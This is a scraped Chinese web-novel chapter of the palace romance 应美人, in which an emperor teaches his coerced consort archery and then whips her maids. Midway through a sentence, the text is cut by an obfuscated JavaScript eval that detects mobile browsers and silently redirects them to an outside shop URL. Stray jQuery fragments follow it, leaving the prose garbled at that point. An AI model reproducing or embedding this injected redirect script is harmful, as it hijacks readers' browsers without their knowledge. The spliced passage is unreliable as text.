文趣网 > 其他小说 > 应美人 > 29. 第 29 章
    应识微每日下午都需去御书房伺候笔墨。可她始终没有见到那封能够证明父亲通敌的信件。

    她不知道齐骁的底线在哪。也不足以和齐骁谈条件。

    有大臣来御书房议事,齐骁也只是让她到后方小榻等着,没让她彻底回避,她仍可以听到外面传来的谈话声。

    “陛下,微臣斗胆提议,今年春蒐不应再取消。春猎上演武习兵、祭祀奉祷是大梁历来传统,陛下已接连三载未举行,微臣看来,恐怕不妥……”

    “春蒐秋狝检阅兵马、操练骑射是为军礼之一,陛下亲临检视,必将鼓舞大梁士气。”

    而齐骁声音散漫:

    “没有这些形式,他们不也该对孤效忠?军饷粮草,孤哪个亏待过他们,无仗可打就士气低迷不振,该反省的是他们自己,而非孤有没有鞭策。”

    大臣闻言语塞,却依旧雷打不动,拿出传统二字,说是旧例不可废。

    但他头脑中突然显出应识微在溪边喂马的那副场景来,打断了他的话:

    “算了。去办。”

    大臣本还做好了要多费些口沫才能说动齐骁的准备,他突然一应下,倒显得有些懵懂起来。

    齐骁抬眼,看他还杵在那,神色不悦,赶人的意图十分明显。

    大臣连忙领命告退。

    “微微。”

    待人走后,齐骁出言唤她。

    应识微从屏风一侧走至他身旁,被他揽到腿上:

    “想不想去?”

    她手臂圈在他脖颈:“陛下是说春蒐?”

    随后摇头:“我二嫁之身在陛下身边,抛头露面恐怕陛下与我都会饱受非议,千夫所指。”

    齐骁捏了一把她腰间的软肉,不许她再胡说:

    “你是孤强行抢来的,霍修泠没死之前,还有断袖之名在外,微微名声比起孤简直好多了。孤一向十恶不赦,要骂就骂孤好了。”

    从他口中提起霍修泠,应识微面庞藏于齐骁怀中,眼睫阴影轻颤。

    尽管齐骁太过于有自知之明,应识微亦不赞同:

    “外界对女子和男人的评判总归是不同的。陛下还是自己去吧。”

    齐骁听闻应识微闷声闷气的说话声,低头查看她的神色,果然生气也一副倔强的样子,镇定非常。

    他轻勾唇角,将她半张脸裹在掌心:

    “孤后悔把你嫁给霍家那个小子,是孤的错。”

    “但孤也想你会堂堂正正在孤身边,孤会把一切罪名归到自己身上,不会有人责怪你。”

    应识微只能想到,是好是坏永远都是他的一念之差。

    半晌,像是想通了:

    “好。我去。”

    齐骁亲吻她的眉眼,最后吻落在唇上。

    应识微阖眼,投入到违心的浓情蜜意里。

    一吻终了,应识微于他额头相贴:

    “陛下,可不可以准许我出去走走,就去御花园,书房太无聊了。”

    齐骁不置可否,只定定看她。应识微颇有些无奈,再度在他唇上落下蜻蜓点水般的亲吻。

    他算得上满意,将她松开:“去吧,孤晚些时候去找微微。”

    应识微喜笑颜开,马不停蹄起身:“谢陛下。”

    齐骁望着她毫不留恋走出去,心道应识微没良心。

    御花园中景致与从前倒是无多大变化,阿爹得势时,她也常来宫中。

    行至上南池畔,应识微发觉竟放有一把弓箭与箭筒。

    “陛下平常在此练箭吗?”

    应识微说着,便往那去。

    说起骑射,她这几年鲜少接触了,如今有条件,自然也想查验自己现在水平几何,退化到何种程度。

    只是箭靶在上南池对侧,难度便更高了。

    绛荷如实道:“回娘娘,您尚未进宫的时日,陛下隔三差五便会到此处练箭,陛下命人无需将其收走,奴才们平日也不敢乱碰。”

    应识微拿起那把弓箭,兴致勃勃准备上矢拉弓,却被绛荷焦急阻拦:

    “娘娘!不可……这太危险了,万一误伤到自己就不好了,奴婢陪您往别处走走!”

    应识微轻声慰道:“无妨,射箭我从前也是会的,虽许久未碰,也尚有些底子在。”

    凝薏也在旁相劝。应识微对自己还算有信心:“我不会受伤,你们退远些。”

    绛荷凝薏劝不住,相视一眼,只好在一旁等待,随时准备着应对突发状况,然而没有什么状况才是最好的。

    应识微熟练地将箭羽搭上,拉弓。而她的力道并不文弱,只是箭矢堪堪到池中央便丧气地掉了下去。

    气馁片刻,重新搭箭拉弓,依旧以箭矢掉入池中结束。

    大半个午后,应识微将原本满满当当的箭筒悉数用空,池子对面的箭靶亦空空如也。

    恰好此时,齐骁的衣角从小径拐弯出现,直至走到不远处,进入应识微的视野。

    应识微立马放下手里的弓箭,原本复杂略带羞窘的神情转为看见他的喜悦,步伐显迅,很快便到了他跟前。

    一双藕臂圈住他腰身,在她望向他时,齐骁眼底的那抹戾色褪去,被从容自若取代。

    “微微不是想逛逛,怎在这里玩这个?”

    “你独自一人,不安全。”

    齐骁停下脚步,回抱她肩膀。看她额头一圈薄汗,潘让从一旁递上绢帕放在齐骁掌心。

    他替她擦去额头上的汗,边听她喋喋不休:

    “陛下,既然要去春蒐,我也想狩猎,但箭术实在……”无法直视。

    应识微睁着大眼睛看他,虽说着底气不足的话,但神色看不出分毫自轻,齐骁唇角无意识勾起。

    他看着对面空无一物的箭靶,眼睛一眯,故意问她:

    “箭筒空了,箭靶没中,微微打哪去了?”

    应识微不好意思的笑:“都在池底了。”

    随后拉着他温热的手,走到方才之处,哀求他:

    “陛下,你一定有办法教我打中靶子的,快教教我本领。”

    齐骁手臂被她小幅度拽着左右晃,就差双手合十拜他了。应识微就是如此缠人,他不过是无计可施,看向一旁空空的箭筒,瞧一眼潘让:

    “补些箭来。”

    潘让连忙去办。

    应识微高兴了,反而大气不敢喘,看着潘让离去的方向,满眼放光。

    齐骁不满,将她的脸掰正,直视自己:“微微这么高兴,连孤都无视了。”

    应识微收回目光,牵上他在一旁坐下:

    “陛下说什么呢,我不过是想潘公公快去快回,好让陛下尽快教我。”

    齐骁望着柔若无骨的手,只有他手掌一半大,不自量力地牵着他的。没再追究她,还是冷哼一声。

    待箭筒重新补满,应识微说什么都要自己先按照自己的方式展示给他看,再让他说出自己的错处。

    齐骁没阻拦她,坐在原地看着应识微拿起他用过无数遍的弓箭,回头与他道几句话,唇边的弧度,拉弓的姿态,都无比鲜活。

    他的应识微,实在是太美好了。

    只是改不掉避重就轻的毛病。

    齐骁视线从始至终都没有从她身上离开,应识微射出的箭羽坠入池底,回头看他一副分神的样子,怀疑他根本没有在看她箭射的如何:

    “陛下看清了吗?为何我总射不远?”

    她两手揣着弓箭,很是谦虚地想知道自己

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590674|202573||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的不足。

    齐骁慢悠悠起身,走到她身侧,把她调转方向面对箭靶,手把手带着她重新握住弓箭。

    她抓握的动作很标准,只是角度把控欠缺,此处清风阵阵,亦会扰乱。

    他的呼吸落在她耳畔,嗓音平和:“微微只是射的高,却射不远,不如这样……”

    齐骁带着应识微放出一箭,竟有破空的嘶鸣,这是应识微独自练习了一下午都没有过的。

    箭矢横穿池子,中了箭靶边缘。应识微已经很满意了,下一瞬想到齐骁若非在教她,只怕是正中靶心。

    她肉眼可见的满足:“中了。”

    随后重新拿起箭矢搭上:“我自己试试。”

    齐骁后退两步,抱着手臂,好整以暇,准备看她大杀四方:

    “没中的话,微微别说出去你是孤教的。”

    应识微没理会他,自顾自按照领悟到的要领,一箭从她手中脱离,应声中靶,甚至有进步。

    扭头看着齐骁,很是畅快,放下弓箭抱着他:“怎么样,我还是一点就通的。”

    齐骁看了只想亲,应识微还没摆出得意的神色,唇便被他覆上。

    应识微却担心着周围都是宫人,哪有光天化日众目睽睽就亲的,不由挣扎。

    虽说他们都第一时间低着头,她还是没法将他们当作透明人。

    齐骁浅尝辄止,应识微脱困的第一时间就是小声抗议:

    “还有人在,陛下怎么可以这样。”

    齐骁仍抱着她,不觉得有什么:“孤只是情不自禁。微微问问他们谁敢看。”

    应识微坚决不要:“总之在外面不能亲,有人在也不许。”

    齐骁看她脸庞中央飘着些绯红,应识微脸皮薄比不过他脸皮厚的,从胸腔发出阵阵笑声:

    “可以不在外面,回去亲双倍的。”

    应识微无言以对,推开他率先一步走了,丝毫没有要等他的意思。

    只不过齐骁一步作两步就追上她,从身后将人一把抱了起来,直至抱她回到紫荣殿。

    应识微睡下之后,齐骁套上里衣,满身寒气去了偏殿。

    潘让早已将绛荷与凝薏二人唤来,如今正跪着。

    她们身躯都在发抖,潘让虽不忍她们遭此重罚,可如今陛下盛怒,一定是有关应识微的,他亦不敢轻易求情。

    “陛下,她们明日还要伺候娘娘的,若是伤的太重,被娘娘瞧出端倪,只怕娘娘难免多心……”

    齐骁从他手里拿过短鞭,森然的视线斜睨着他:

    “孤需要你教?”

    潘让冷汗濡湿后背。是他忘了,齐骁本就是一个心狠手辣的帝王,他怎么敢因为应识微在的这段时日,陛下表现出来的模样而失了分寸,妄图挑战。

    扑通一声跪下:

    “奴才失言!请陛下责罚!”

    齐骁在他们周围踱步,声音传到昏暗的偏殿各处角落,又回传到起点。

    “微微任性你们也放纵她,拦不住不知道想办法,像蠢货一样杵在那看,竟无人向孤禀报。”

    齐骁在二人背上一人甩一鞭,衣帛碎裂,很快渗出血珠。

    绛荷凝薏硬生生受着,身形不敢有半分晃动,紧咬着牙不发出半点半点声响。

    他无声冷笑,宛如索魂的厉鬼:

    “她一个人在那一个下午,若是伤了划了,一个两个半点功夫都没有,如何保证她的安全?”

    齐骁将短鞭丢回潘让手中,鞭上血迹也染到他衣物。

    潘让接好鞭子,只觉求情难上加难。

    只是他方一抬头,瞧见应识微的身影在门口。潘让心惊胆战,很是诧异,鬼使神差出声:

    “应……娘娘?”